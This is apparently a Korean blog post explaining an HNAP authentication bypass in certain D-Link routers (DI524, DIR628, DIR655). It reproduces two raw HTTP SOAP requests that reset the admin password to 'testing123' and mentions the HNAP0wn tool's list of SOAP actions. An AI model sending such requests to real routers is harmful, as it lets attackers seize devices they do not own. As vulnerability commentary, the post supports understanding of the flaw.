D-Link 공유기에서 취약점이 발견되었다고 한다. 얼마 전에도 D-Link 제품에서 취약점이 발견된 적이 있었는데, 그 때와는 다른 제품이며, 취약점 역시 다르다.
취약점은 단순한 HNAP를 통해 공격자가 captcha 로그인을 완전하게 bypass할 수 있다고 한다. 흠.. (그런데 왜 captcha login이지?) 그리고 내부 네트워크의 공격자뿐 아니라 외부에서도 공격 가능하다는데 외부에서 공격이 가능하다는 의미인지 내부 공격을 통해 외부 접근이 가능하다는 건지 잘 모르겠지만 쭉 보기에는 내부 공격을 통해 외부에서 접근이 가능하다는 의미인 듯함.
D-Link 공유기는 2006년도부터 HNAP(Home Network Administration Protocol)를 지원하지만, 취약점은 아래의 최신 펌웨어에서만 확인이 되었다.
1) DI524 hardware version C1, firmware version 3.23
2) DIR628 hardware version B2, firmware versions 1.20NA and 1.22NA
3) DIR655 hardware version A1, firmware version 1.30EA
HNAP는 SOAP-based의 프로토콜이며 HNAP가 사용된 부분은 "Quick Router Setup Wizard"이고, 여기에서 사용하는 명령을 통해 취약점이 발생하였고, DLink Setup Wizard 메뉴는 HNAP를 사용하지 않고, SOAP request 또한 유효하니까 괜찮다고 함.
attacker는 헤더와 다른 내용의 body를 SOAP action으로 실행 가능하다고 한다.
아래처럼...(아래 설명참조)
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1:8099
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings"
ContentLength:453<?xml version="1.0" encoding="utf8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchemainstance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
<AdminPassword>testing123</AdminPassword>
</SetDeviceSettings>
</soap:Body>
</soap:Envelope>
이 코드에서는 SOAP Action의 헤더는 GetDeviceSettings을 요청이라고 보내면서 실제 내용엔 SetDeviceSettings이라고 해서 Admin 비밀번호를 testing123으로 바꾸는 코드를 담고 있으면서 그거에 대한 인증이나 인증정보를 담고 있지도 않고, 요청도 하지 않는다고 한다. (모델 DIR628, DIR655에 국한됨)
이 취약점은 유효한 reqeust인지 검증을 거치지 않아서 발생하는 문제이다.
그런데 DI524 모델은 같은 SOAP에 대한 취약점이지만, 내용이 조금 다르다.
DI524 모델은 모든 SOAP action에 대해서 인증을 필요로 하지만, admin과 user 계정 모두 이러한 action을 실행시킬 수 있다고 한다.
무슨 말인 즉, 관리자이거나 일반 유저 계정이거나 상관 없이 로그인할 수 있는 계정이라면 위의 처음 취약점처럼 관리자의 비밀번호를 바꿀 수 있는 SetDeivceSettings을 실행할 수 있다는 것이다.(여기서 문제가 되는 것은 user 계정 자체가 default로 blank password라고 한다.)
POST /HNAP1/ HTTP/1.1
Authorization: Basic dXNlcjo=
Host: 192.168.0.1
SOAPAction: "http://purenetworks.com/HNAP1/SetDeviceSettings"
ContentLength:
453
<?xml version="1.0" encoding="utf8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchemainstance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
<AdminPassword>testing123</AdminPassword>
</SetDeviceSettings>
</soap:Body>
</soap:Envelope>
이 코드를 보고 있자니 이번엔 Basic 인증을 거치고 쳐서 정상적으로 SetDeviceSettings Action을 보내 관리자의 비밀번호를 testing123으로 하고 있다. 정상적인 것처럼 보이지만, 문제는 이 Action을 실행시키는 계정이 관리자 권한이 없으며, 비밀번호가 없는 user 계정이라는 것(누구나 접근 가능하다는 점).
HNAP0wn 이라는 tool을 이용해서 간단하게 공격이 가능하다. 첨부되어 있는 pdf 파일을 읽어보면 상세히 설명이 되어 있다.
난 iptime 공유기를 사용중이라 직접 테스트는 못해봤지만, 간단한 구조이니까 금새 뚫리겠지.... 아마도 이 공격으로 인해서 금전적으로 크게 손해보는 기업이 나오진 않겠지만, 개인 유저단에서 인터넷을 이용하기 위해 종종 악용되어 사용하는 경우가 많이 발생할 수 있겠다.
다행인건 윈도우용 POC tool이 아니므로 그나마 이 tool을 이용하는 사람들의 범위가 더 좁아질 것이라는 생각이 든다. 누군가 윈도우용으로 만들어서 배포하지 않는다면 말이지...........
HNAP0wn라는 툴을 통해 간단하게 POC가 가능한데 난 이 tool이 POC tool인지 acttack tool인지 모르겠다....
첨부되어 있는 SOAP action 파일 목록을 보니 POC만을 위해 분석해놓은건 아닌거 같다는 생각이............
AddPortMapping.xml
DeletePortMapping.xml
GetConnectedDevices.xml
GetDeviceSettings.xml
GetMACFilters2.xml
GetNetworkStats.xml
GetPortMappings.xml
GetRouterLanSettings.xml
GetWLanRadioSettings.xml
GetWLanRadios.xml
GetWLanSecurity.xml
GetWLanSettings24.xml
GetWanSettings.xml
GetWanStatus.xml
IsDeviceReady.xml
Reboot.xml
RenewWanConnection.xml
SetDeviceSettings.xml
SetLanSettings.xml
SetMACFilters2.xml
SetRouterLanSettings.xml
SetWLanSecurity.xml
SetWLanSettings.xml
SetWanSettings.xml